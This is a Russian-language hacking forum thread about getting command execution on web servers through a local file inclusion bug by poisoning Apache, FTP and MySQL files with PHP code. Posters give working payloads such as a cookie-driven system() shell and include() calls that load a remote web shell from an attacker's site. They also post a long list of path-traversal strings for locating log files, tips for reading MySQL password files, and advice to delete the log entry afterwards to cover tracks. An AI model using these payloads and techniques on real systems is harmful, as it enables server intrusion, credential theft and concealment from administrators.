Вход

Просмотр полной версии : access_log


HERo!n
25.06.2007, 10:10
Слышал что при локальном инклуде файла acces_log можно выполнять команды. Можно по подробнее ?

_Great_
25.06.2007, 10:39
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

_Great_
25.06.2007, 10:47
ЗЫ. Ты получишь скорее всего 400 (bad request), но запись в логе останется:
127.0.0.1 - - [25/Jun/2007:10:45:41 +0400] "GET http://localhost/xek.php?<? system($_COOKIE[cmd]);?> HTTP/1.0" 400 406

oseLHAX
25.06.2007, 10:51
лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>.
если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\

зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше. ;)

_Great_
25.06.2007, 11:06
У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант.

Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.

Само собой, после укрепления в системе эту строчку из access.log стоит удалить ;)

slesh
28.06.2007, 21:05
2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога.
P.S. серваки под пингвинами.
Пробывал:
../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../var/log/httpd/access-log
../../../../../../../../../var/log/httpd/access.log
../../../../../../../../../var/log/httpd/access
Нету файлов. также вместо httpd прописывал - apache.
т.к. на некоторых серваках он завется apache, а не httpd

МОжет подскажишь как его нащупать?
Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает:

Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83

Fatal error: main() [function.require]: Failed opening required '/home/****/public_html/mydir/' (include_path='.:/usr/lib/php') in /home/****/public_html/mydir/index.php on line 83

_Great_
28.06.2007, 21:22
Иногда лог лежит в /usr/local/apache/logs/access.log или подобных. Не обязательно в /var/log.

ettee
28.06.2007, 21:51
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log

re-2
28.06.2007, 22:07
спосибо, давно что то похожое искал

Dread
06.07.2007, 13:11
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.

Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков?

Ni0x
06.07.2007, 17:59
Можно тут по подробней для такого инклуда нужно найти бажный скрипт?
да, локальный инклуд.

Spyder
06.07.2007, 18:06
и как это выполнять команды и куков?
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>

blackybr
06.07.2007, 18:52
Не обязательно лог апача =))) разве в системе есть только они? )
А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином
<? include('http://твой_сайт.ru/shell.php'); ?>
а затем инклудим еррор лог от стоящего фтпшника.. (ну или акцеслог).. вообще бываает что запись идет в оба. (Именно логин а непасс, т.к. Пасс даже не коректный НЕ показывается в логах)

Dread
07.07.2007, 10:11
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>

я думаю там проканает только локальный инклуд! из вне наврятли!

The_HuliGun
07.07.2007, 14:12
2 Dread
А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека.

blackybr
08.07.2007, 15:45
я думаю там проканает только локальный инклуд! из вне наврятли!

наркоманы наступают =)) при чем тут это :))))

Great: да не то слово просто =\

TaveL
17.09.2010, 02:32
Пардон за некрофилию, но вопрос встал ребром:

что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать

попугай
17.09.2010, 03:53
искать другие файлы, в которые можно записать инфу и инклюдить

TaveL
17.09.2010, 13:49
искать другие файлы, в которые можно записать инфу и инклюдить


это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.

overxor
18.09.2010, 02:23
Можешь попробывать подинклудить файл базы данных.

C:/program files/mysql5.0.45/data/mysql

К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать





которые в последствии запишутся в бд.

Допустим shema_name(site) и table_name(users).

Тогда данный php код будет находится


C://program files/mysql5.0.45/data/site/users.MYD


Естественно версия мускула в пути будет твоя.

После этого можешь попытаться подинклудить php код.

PS.

Таким же образом можно прочитать мускульные пароли пользователей.


C://program files/mysql5.0.45/data/mysql/user.MYD

TaveL
18.09.2010, 15:14
Можешь попробывать подинклудить файл базы данных.
...
PS.
Таким же образом можно прочитать мускульные пароли пользователей.


Интересная идея, правда в моем случае она не поможет, нет СУБД - статика, еще и на винде Но в целом очень полезно, кстати, если СУБД на другом сервере расположена, теоретически можно будет её файлы подинклудить?

overxor
19.09.2010, 17:35
еще и на винде


Как раз только в винде такое и канает. В никсах идет жесткое разграничение по правам доступа и пользователь отличный от mysql прочитать файл базы данных не сможет.


нет СУБД - статика


Не обязательно СУБД именно от этого сайта. Может быть соседнии сайты используют эту же СУБД.


теоретически можно будет её файлы подинклудить?


Теоретически конечно возможно, если админ расшарил файлы базы данных по SMB. ))) Но как ты понимаешь, это Ооочень мало вероятно.

попугай
19.09.2010, 18:58
это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.


Кроме файлов баз данных - файлы почты, логов ftp, файлы сессии и прочее.

TheLuckyOne
26.09.2010, 20:21
Раз тема поднялась...

Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?

shell_c0de
26.09.2010, 21:37
2TheLuckyOne в первой странице этой ветки был ответ...


Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die;
чтобы не тянуть с собой остаток лога.

TaveL
27.09.2010, 02:10
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.




Раз тема поднялась...
Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?


Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"

Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.

Expl0ited
27.09.2010, 07:53
Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"
Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.


TheLuckyOne четко же написал? что "При его чтении браузер зависает" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.

Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.

TaveL
27.09.2010, 08:27
TheLuckyOne четко же написал? что "
При его чтении браузер зависает
" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.


Я то же самое написал, что проблема не в размере файла у него.


Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.


Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.

З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.

Expl0ited
27.09.2010, 08:47
Я то же самое написал, что проблема не в размере файла у него.
Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.
З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.


Если размер файла выходит за рамки memory_limit, то ничего сделать не удастся. Я же писал, цитируя пост, TheLuckyOne, в котором он описывает то, что у него виснет браузер(!) от размера логов, а не PHP выдает ошибку из серии Allowed memory size...

Впрочем этот разговор выходит за рамки темы, а гадать, какая именно ситуация у TheLuckyOne, бессмысленно.

TheLuckyOne
27.09.2010, 16:23
Всё верно, ошибки Memory_Limit другой случай.

У меня проблема была с несколькими хостами на тему зависания.